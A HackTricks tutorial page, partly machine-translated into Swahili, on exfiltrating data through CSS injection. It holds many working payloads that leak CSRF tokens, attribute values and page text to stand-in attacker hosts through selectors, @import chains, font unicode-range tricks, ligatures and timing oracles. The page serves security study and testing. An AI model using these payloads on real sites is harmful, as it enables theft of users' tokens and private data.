CSS Injection

Reading time: 24 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

CSS Injection

Attribute Selector

Selectors za CSS zimeundwa ili kufanana na thamani za atributi za name na value za kipengee cha input. Iwapo atributi ya value ya kipengee cha input inaanza na alama maalum, rasilimali ya nje iliyobainishwa itapakiwa:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Hata hivyo, mbinu hii inakutana na kikomo inaposhughulika na elementi za input zilizofichwa (type="hidden") kwa sababu elementi zilizofichwa hazipakia background.

Kukwepa kwa Elementi Zilizofichwa

Ili kuepuka kikomo hiki, unaweza kulenga elementi ndugu inayofuata ukitumia ~ general sibling combinator. Kisha kanuni ya CSS itatumika kwa ndugu zote zinazofuata elementi ya input iliyofichwa, na kusababisha picha ya background kupakia:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Mfano wa vitendo wa kutumia tekniki hii umefafanuliwa kwa undani katika kipande cha msimbo kilichotolewa. Unaweza kuiona hapa.

Masharti ya CSS Injection

Ili tekniki ya CSS Injection ifanye kazi kwa ufanisi, masharti fulani yanapaswa kutimizwa:

  1. Payload Length: Vector ya CSS injection inapaswa kuunga mkono payloads zenye urefu wa kutosha ili kuweza kushikilia selectors zilizotengenezwa.
  2. CSS Re-evaluation: Unapaswa kuwa na uwezo wa kuframesha ukurasa, jambo muhimu ili kusababisha upya tathmini ya CSS na payloads mpya zilizotengenezwa.
  3. External Resources: Tekniki inadhani uwezekano wa kutumia picha zilizo hifadhiwa nje. Hii inaweza kukataliwa na Content Security Policy (CSP) ya tovuti.

Blind Attribute Selector

Kama ilivyofafanuliwa katika chapisho hili, inawezekana kuunganisha selectors :has na :not ili kutambua yaliyomo hata kutoka kwa elementi zisizoonekana. Hii ni muhimu sana unapokosa taarifa kuhusu kile kilicho ndani ya ukurasa unaolakiwa na CSS injection.
Pia inawezekana kutumia selectors hizo kutoa taarifa kutoka kwa vibloki vingi vya aina hiyo kama inavyoonekana katika:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Combining this with the following @import technique, it's possible to exfiltrate a lot of info using CSS injection from blind pages with blind-css-exfiltration.

@import

Mbinu iliyotangulia ina mapungufu fulani, angalia vigezo vinavyohitajika. Lazima uweze ama send multiple links to the victim, au uweze iframe the CSS injection vulnerable page.

Hata hivyo, kuna mbinu nyingine mwerevu inayotumia CSS @import kuboresha ubora wa mbinu hii.

Hii ilionyeshwa kwa mara ya kwanza na Pepe Vila na inafanya kazi hivi:

Badala ya kupakia ukurasa uleule tena na tena na tens za payloads tofauti kila mara (kama katika iliyotangulia), tutapakia ukurasa mara moja tu na tu na load the page just once and just with an import to the attackers server (this is the payload to send to the victim):

css
@import url("//attacker.com:5001/start?");
  1. Import itapokea script ya CSS kutoka kwa mshambuliaji na kivinjari kitapakia.
  2. Sehemu ya kwanza ya script ya CSS ambayo mshambuliaji atatumia ni another @import to the attackers server again.
  3. Server ya mshambuliaji haitajibu ombi hili bado, kwa sababu tunataka leak baadhi ya herufi kisha kujibu import hii kwa payload ili leak herufi zinazofuata.
  4. Sehemu ya pili na kubwa ya payload itakuwa attribute selector leakage payload
  5. Hii itatuma kwa server ya mshambuliaji herufi ya kwanza ya siri na ile ya mwisho
  6. Mara server ya mshambuliaji itakapopokea herufi ya kwanza na ya mwisho ya siri, itatajima/jibu import iliyohitajika katika hatua 2.
  7. Majibu yatakuwa sawa kabisa na steps 2, 3 and 4, lakini mara hii itajaribu kutafuta herufi ya pili ya siri kisha ile ya kabla ya mwisho.

Mshambuliaji ata fuata mzunguko huo hadi ipate leak kabisa ya siri.

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

tip

Script ita jaribu kugundua herufi 2 kila mara (kutoka mwanzo na kutoka mwishoni) kwa sababu attribute selector inaruhusu kufanya vitu kama:

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

Hii inaruhusu script kufanya leak ya siri kwa haraka zaidi.

warning

Wakati mwingine script haiambatani/vhaitambui vizuri kwamba prefix + suffix zilizogunduliwa tayari ni flag kamili na itaendelea mbele (kwenye prefix) na nyuma (kwenye suffix) na baada ya muda itaishia kusimama.
Usijali, angalia tu output kwa sababu utaona flag pale.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive inaruhusu exfiltration kwa kutumia tu attribute ya inline style ya elementi, bila selectors au external stylesheets. Inategemea CSS custom properties, the attr() function kusoma attributes za elementi hiyo hiyo, the new CSS if() conditionals kwa branching, na image-set() kuanzisha request ya mtandao ambayo inaencode thamani iliyokidhiwa.

warning

Equality comparisons in if() zinahitaji double quotes kwa string literals. Single quotes hazitatumika.

  • Sink: kontrolla attribute ya style ya elementi na hakikisha attribute lengwa iko kwenye elementi hiyo hiyo (attr() inasoma tu attributes za elementi hiyo).
  • Read: nakili attribute ndani ya CSS variable: --val: attr(title).
  • Decide: chagua URL kwa kutumia nested conditionals ziki comparing variable na string candidates: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: tumia background: image-set(var(--steal)) (au property yoyote inayofanya fetching) ili kulazimisha request kwenda endpoint uliyochaguliwa.

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Payload inayofanya kazi (nukuu za mara mbili zinahitajika katika kulinganisha):

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Kuorodhesha thamani za attribute zenye masharti yaliyowekwa ndani:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Onyesho halisi (kujaribu majina ya watumiaji):

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notes and limitations:

  • Inafanya kazi kwenye vivinjari vinavyotokana na Chromium wakati wa utafiti; tabia inaweza kutofautiana kwenye injini nyingine.
  • Inafaa zaidi kwa nafasi za thamani finyu/zinazohesabika (IDs, flags, short usernames). Kuiba mistari mirefu bila external stylesheets bado ni changamoto.
  • Kila property ya CSS inayopakia URL inaweza kutumika kuchochea request (mfano, background/image-set, border-image, list-style, cursor, content).

Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Other selectors

Njia nyingine za kufikia sehemu za DOM kwa kutumia CSS selectors:

  • .class-to-search:nth-child(2): Hii itatafuta kipengee cha pili chenye class "class-to-search" ndani ya DOM.
  • :empty selector: Imetumika kwa mfano katika this writeup:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Nia kuu ni kutumia fonti maalum kutoka endpoint inayodhibitiwa na kuhakikisha kwamba andishi (katika kesi hii, 'A') yanaonyeshwa kwa fonti hii tu ikiwa rasilimali iliyotajwa (favicon.ico) haiwezi kupakuliwa.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Custom Font Usage:
  • Fonti maalum imefafanuliwa kwa kutumia kanuni ya @font-face ndani ya tagi ya <style> kwenye sehemu ya <head>.
  • Fonti hiyo inaitwa poc na inapakuliwa kutoka kwenye endpoint ya nje (http://attacker.com/?leak).
  • Mali ya unicode-range imewekwa kuwa U+0041, ikilenga kimoja maalum cha Unicode 'A'.
  1. Object Element with Fallback Text:
  • Elementi ya <object> yenye id="poc0" imeundwa katika sehemu ya <body>. Elementi hii inajaribu kupakia rasilimali kutoka http://192.168.0.1/favicon.ico.
  • font-family ya elementi hii imewekwa kuwa 'poc', kama ilivyoainishwa katika sehemu ya <style>.
  • Iwapo rasilimali (favicon.ico) itashindwa kupakia, yaliyomo ya fallback (herufi 'A') ndani ya tagi ya <object> yataonyeshwa.
  • Yaliyomo ya fallback ('A') yataonyeshwa kwa kutumia fonti maalum poc ikiwa rasilimali ya nje haiwezi kupakiwa.

Styling Scroll-to-Text Fragment

The :target pseudo-class inatumiwa kuchagua elementi inayolengwa na URL fragment, kama ilivyoelezwa katika CSS Selectors Level 4 specification. Ni muhimu kuelewa kwamba ::target-text haitafanana na elementi yoyote isipokuwa maandishi yamelengwa wazi na fragment.

Tendeka la usalama linatokea wakati attackers wanavyofaidisha kipengele cha Scroll-to-text, kuwapa uwezo kuthibitisha uwepo wa maandishi maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka server yao kupitia HTML injection. Mbinu inajumuisha kuingiza kanuni ya CSS kama hii:

css
:target::before {
content: url(target.png);
}

Katika matukio kama haya, endapo maandishi "Administrator" yapo kwenye ukurasa, rasilimali target.png itaombwa kutoka kwa seva, ikionyesha uwepo wa maandishi hayo. Mfano wa shambulio hili unaweza kutekelezwa kupitia URL iliyotengenezwa maalum inayojumuisha CSS iliyochomwa pamoja na Scroll-to-text fragment:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Hapa, shambulizi linabadilisha HTML injection ili kusafirisha CSS code, likilenga maandishi maalum "Administrator" kupitia Scroll-to-text fragment (#:~:text=Administrator). Ikiwa maandishi yanapatikana, rasilimali iliyotajwa inapakiwa, kwa bahati mbaya kuonyesha uwepo wake kwa mshambuliaji.

Ili kupunguza hatari, mambo yafuatayo yanapaswa kuzingatiwa:

  1. Constrained STTF Matching: Scroll-to-text Fragment (STTF) imeundwa kuendana na maneno au sentensi tu, hivyo kupunguza uwezo wake wa leak arbitrary secrets or tokens.
  2. Restriction to Top-level Browsing Contexts: STTF hufanya kazi tu katika top-level browsing contexts na haifanyi kazi ndani ya iframes, na hivyo kufanya jaribio lolote la exploitation liwe dhahiri zaidi kwa mtumiaji.
  3. Necessity of User Activation: STTF inahitaji user-activation gesture ili ifanye kazi, ikimaanisha exploitations zinawezekana tu kupitia navigations zinazochochewa na mtumiaji. Mahitaji haya yanapunguza kwa kiasi kikubwa hatari ya attacks kuendeshwa kwa automation bila mwingiliano wa mtumiaji. Hata hivyo, mwandishi wa blogu anaonyesha masharti na bypasses maalum (mfano, social engineering, interaction na prevalent browser extensions) ambayo yanaweza kurahisisha automation ya attack.

Kuwa na ufahamu wa mifumo hii na potential vulnerabilities ni muhimu kwa kudumisha usalama wa wavuti na kujilinda dhidi ya mbinu za exploitative.

Kwa maelezo zaidi angalia ripoti ya asili: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Unaweza kuangalia an exploit using this technique for a CTF here.

@font-face / unicode-range

Unaweza kubainisha external fonts for specific unicode values ambazo zitachukuliwa tu ikiwa thamani hizo za unicode zipo kwenye ukurasa. Kwa mfano:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

Marejeo: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Mbinu iliyoelezewa inahusisha kutoa text kutoka kwa node kwa kutumia font ligatures na kufuatilia mabadiliko ya width. Mchakato unajumuisha hatua kadhaa:

  1. Creation of Custom Fonts:
  • SVG fonts are crafted with glyphs having a horiz-adv-x attribute, which sets a large width for a glyph representing a two-character sequence.
  • Example SVG glyph: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, where "XY" denotes a two-character sequence.
  • These fonts are then converted to woff format using fontforge.
  1. Detection of Width Changes:
  • CSS is used to ensure that text does not wrap (white-space: nowrap) and to customize the scrollbar style.
  • The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.
  • The CSS involved:
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Exploit Process:
  • Hatua 1: Font zinatengenezwa kwa jozi za herufi zenye width kubwa.
  • Hatua 2: Njia ya ujanja inayotegemea scrollbar inatumiwa kugundua wakati glyph yenye width kubwa (ligature ya jozi ya herufi) inapotengenezwa, ikionyesha uwepo wa mfululizo wa herufi.
  • Hatua 3: Ukigundua ligature, glyphs mpya zinazowakilisha mfululizo wa herufi tatu zinaundwa, zikijumuisha jozi iliyogunduliwa na kuongeza herufi ya kabla au ya baada.
  • Hatua 4: Kugundua ligature ya herufi tatu kunaendelea.
  • Hatua 5: Mchakato unajirudia, ukifichua hatua kwa hatua maandishi yote.
  1. Optimization:
  • Mbinu ya sasa ya kuanzisha kwa kutumia <meta refresh=... si ya ufanisi.
  • Njia bora inaweza kutumia ujanja wa CSS @import, kuboresha utendaji wa exploit.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Marejeo: PoC using Comic Sans by @Cgvwzq & @Terjanq

Hujanja hili lilitolewa kwenye Slackers thread. The charset used in a text node can be leaked using the default fonts installed in the browser: no external -or custom- fonts are needed.

Wazo linahusu kutumia animation kupanua polepole width ya div, kuruhusu herufi moja kwa wakati kuhamia kutoka sehemu ya 'suffix' ya text kwenda sehemu ya 'prefix'. Mchakato huu huwagawa text katika sehemu mbili:

  • Prefix: mstari wa mwanzo.
  • Suffix: mstari( au mistari) inayofuata.

The transition stages of the characters would appear as follows:

C
ADB

CA
DB

CAD
B

CADB

Wakati wa mabadiliko haya, the unicode-range trick inatumiwa kubaini kila herufi mpya inapoungana na prefix. Hii inafikiwa kwa kubadilisha font kuwa Comic Sans, ambayo ni kubwa zaidi kuliko default font, na kusababisha vertical scrollbar. Kuonekana kwa scrollbar hii kwa njia isiyo ya moja kwa moja kunafichua uwepo wa herufi mpya katika prefix.

Ingawa njia hii inaruhusu kugundua herufi za kipekee zinapoonekana, haiwezi kubainisha ni herufi gani imejirudia, bali tu kwamba kurudia kumetokea.

tip

Kwa msingi, the unicode-range is used to detect a char, lakini kwa kuwa hatutaki kupakia external font, tunahitaji kupata njia nyingine.
Wakati the char inapotambuliwa (found), inapewa pre-installed Comic Sans font, ambayo inafanya char kuwa bigger na ina trigger scroll bar ambayo ita leak the found char.

Angalia code iliyotolewa kutoka PoC:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Marejeo: This is mentioned as an unsuccessful solution in this writeup

Kesi hii ni sawa sana na ile ya awali, hata hivyo, katika kesi hii lengo la kufanya chars bigger than other is to hide something ni kuficha kitu kama kitufe kusiobodwe na bot au picha ambayo haitapakiwa. Hivyo tunaweza kupima kitendo (au ukosefu wa kitendo) na kujua kama char maalum ipo ndani ya maandishi.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Marejeo: This is mentioned as an unsuccessful solution in this writeup

Katika kesi hii, tunaweza kujaribu leak ikiwa char iko ndani ya maandishi kwa loading ya fake font kutoka same origin:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.

Hata hivyo, kama tofauti ya wakati kati ya jibu lililoko kwenye cache na lile lisiloko kwenye cache si kubwa vya kutosha, hii haitakuwa ya msaada. Kwa mfano, mwandishi alitaja: "Baada ya kujaribu, niligundua kwamba tatizo la kwanza ni kwamba kasi haitofauti sana, na tatizo la pili ni kwamba bot inatumia bendera disk-cache-size=1, jambo ambalo lilifikiriwa kwa uzito."

Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)

Marejeo: Hii imetajwa kama an unsuccessful solution in this writeup

Katika kesi hii unaweza kuonyesha CSS to load hundreds of fake fonts kutoka asili moja wakati mechi inatokea. Kwa njia hii unaweza measure the time unaochukua na kubaini kama char inaonekana au la kwa kitu kama:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Na msimbo wa bot unaonekana hivi:

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Hivyo, ikiwa font haifanani, muda wa majibu unapotembelea bot unatarajiwa kuwa takriban sekunde 30. Walakini, ikiwa kuna mechi ya font, maombi mengi yatafanywa ili kupata font, na kusababisha shughuli za mtandao kuwa endelevu. Matokeo yake, itachukua muda mrefu zaidi kufikia hali ya kusimamisha na kupokea jibu. Kwa hivyo, muda wa majibu unaweza kutumika kama kiashiria cha kubaini kama kuna mechi ya font.

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks